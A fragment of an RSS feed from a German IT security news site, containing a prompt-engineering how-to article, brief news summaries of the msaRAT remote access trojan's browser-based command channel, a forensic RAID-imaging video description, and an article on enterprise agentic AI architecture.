<guid isPermaLink="true">https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Thu, 23 Jul 2026 13:07:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process]]></title>
<description><![CDATA[Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the victim machine and controls it through Chrome DevTools Protocol, a d...]]></description>
<link>https://tsecurity.de/de/3688780/it-security-nachrichten/chaos-ransomware-msarat-hides-its-c2-channel-inside-a-legitimate-browser-process/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688780/it-security-nachrichten/chaos-ransomware-msarat-hides-its-c2-channel-inside-a-legitimate-browser-process/</guid>
<pubDate>Thu, 23 Jul 2026 13:02:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the victim machine and controls it through Chrome DevTools Protocol, a debugging interface built into both browsers. The browser then carries the command-and-control traffic over a WebRTC channel. Once installed, the RAT process keeps all of … <a href="https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/">Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The foundation agentic AI can’t function without]]></title>
<description><![CDATA[Enterprises can no longer afford to treat the middleware layer as an afterthought.]]></description>
<link>https://tsecurity.de/de/3688761/it-nachrichten/the-foundation-agentic-ai-cant-function-without/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688761/it-nachrichten/the-foundation-agentic-ai-cant-function-without/</guid>
<pubDate>Thu, 23 Jul 2026 12:52:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Enterprises can no longer afford to treat the middleware layer as an afterthought.]]></content:encoded>
</item>
<item>
<title><![CDATA[Investigating Synology RAID: Reassembly & Logical Imaging With Atola TaskForce 2]]></title>
<description><![CDATA[Author: Forensic Focus: Digital Forensics & DFIR - Bewertung: 0x - Views:1206 This video demonstrates how digital forensic investigators can quickly reconstruct a proprietary Synology RAID, browse the file system before imaging, and perform targeted logical imaging instead of acquiring the entire...]]></description>
<link>https://tsecurity.de/de/3688731/it-security-video/investigating-synology-raid-reassembly-logical-imaging-with-atola-taskforce-2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688731/it-security-video/investigating-synology-raid-reassembly-logical-imaging-with-atola-taskforce-2/</guid>
<pubDate>Thu, 23 Jul 2026 12:35:41 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Forensic Focus: Digital Forensics &amp; DFIR - Bewertung: 0x - Views:1206 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/QsVck9hYOw0?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>This video demonstrates how digital forensic investigators can quickly reconstruct a proprietary Synology RAID, browse the file system before imaging, and perform targeted logical imaging instead of acquiring the entire multi-terabyte array.<br />
<br />
In this video, TaskForce 2:<br />
<br />
 -  Automatically detects Synology SHR and SHR-2 configurations<br />
<br />
 -  Reconstructs RAID with no manual setup<br />
<br />
 -  Lets you browse evidence before imaging<br />
<br />
 -  Creates logical image of selected files and folders<br />
<br />
 -  Recovers data from missing or damaged drives using RAID parity<br />
<br />
If you're working with a NAS holding many terabytes of data and you just need a few key files, this workflow gets you there faster – without cutting corners on integrity.<br />
<br />
⏱️ Timestamps<br />
<br />
00:00 Intro<br />
00:15 The problem with Synology RAID reassembly<br />
01:10 How standard RAID works<br />
01:20 What is Synology SHR<br />
03:31 TaskForce 2: built for Synology RAID<br />
03:35 Step 1: Connect sources<br />
03:58 Step 2: RAID autodetection<br />
03:50 Step 3: Review before imaging<br />
04:23 Step 4: Logical imaging<br />
05:01 Step 5: Missing/damaged RAID recovery<br />
<br />
📝Resources:<br />
<br />
🔗 Learn more about Atola TaskForce 2 RAID capabilities: https://atola.com/products/taskforce/forensic-raid-image.html<br />
<br />
🔗 Follow Atola on LinkedIn:  https://www.linkedin.com/company/atola-technology/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New msaRAT malware uses Chrome, Edge browsers to route C2 traffic]]></title>
<description><![CDATA[The Chaos ransomware gang is using a new backdoor dubbed msaRAT that hides command-and-control (C2) communication by routing it through the Chrome or Edge browsers. [...]]]></description>
<link>https://tsecurity.de/de/3688657/it-security-nachrichten/new-msarat-malware-uses-chrome-edge-browsers-to-route-c2-traffic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688657/it-security-nachrichten/new-msarat-malware-uses-chrome-edge-browsers-to-route-c2-traffic/</guid>
<pubDate>Thu, 23 Jul 2026 12:11:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Chaos ransomware gang is using a new backdoor dubbed msaRAT that hides command-and-control (C2) communication by routing it through the Chrome or Edge browsers. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel]]></title>
<description><![CDATA[The Chaos ransomware group uses new malware "msaRAT" that hijacks browsers. The malware doesn't communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker's IP from victims via WebRTC over TURN.]]></description>
<link>https://tsecurity.de/de/3688656/it-security-nachrichten/chaos-ransomwares-msarat-living-off-the-browser-to-build-a-covert-c2-channel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688656/it-security-nachrichten/chaos-ransomwares-msarat-living-off-the-browser-to-build-a-covert-c2-channel/</guid>
<pubDate>Thu, 23 Jul 2026 12:11:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Chaos ransomware group uses new malware "msaRAT" that hijacks browsers. The malware doesn't communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker's IP from victims via WebRTC over TURN.]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos ransomware’s msaRAT: Living off the browser to build a covert C2 channel]]></title>
<description><![CDATA[The Chaos ransomware group uses new malware “msaRAT” that hijacks browsers. The malware doesn’t communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker’s IP from victims via WebRTC over TURN. This…
Read more →
The post Chaos ...]]></description>
<link>https://tsecurity.de/de/3688646/it-security-nachrichten/chaos-ransomwares-msarat-living-off-the-browser-to-build-a-covert-c2-channel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688646/it-security-nachrichten/chaos-ransomwares-msarat-living-off-the-browser-to-build-a-covert-c2-channel/</guid>
<pubDate>Thu, 23 Jul 2026 12:10:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Chaos ransomware group uses new malware “msaRAT” that hijacks browsers. The malware doesn’t communicate directly with C2 but connects through the browser. It enables arbitrary command execution while hiding the attacker’s IP from victims via WebRTC over TURN. This…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chaos-ransomwares-msarat-living-off-the-browser-to-build-a-covert-c2-channel/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chaos-ransomwares-msarat-living-off-the-browser-to-build-a-covert-c2-channel/">Chaos ransomware’s msaRAT: Living off the browser to build a covert C2 channel</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 2,92ms -->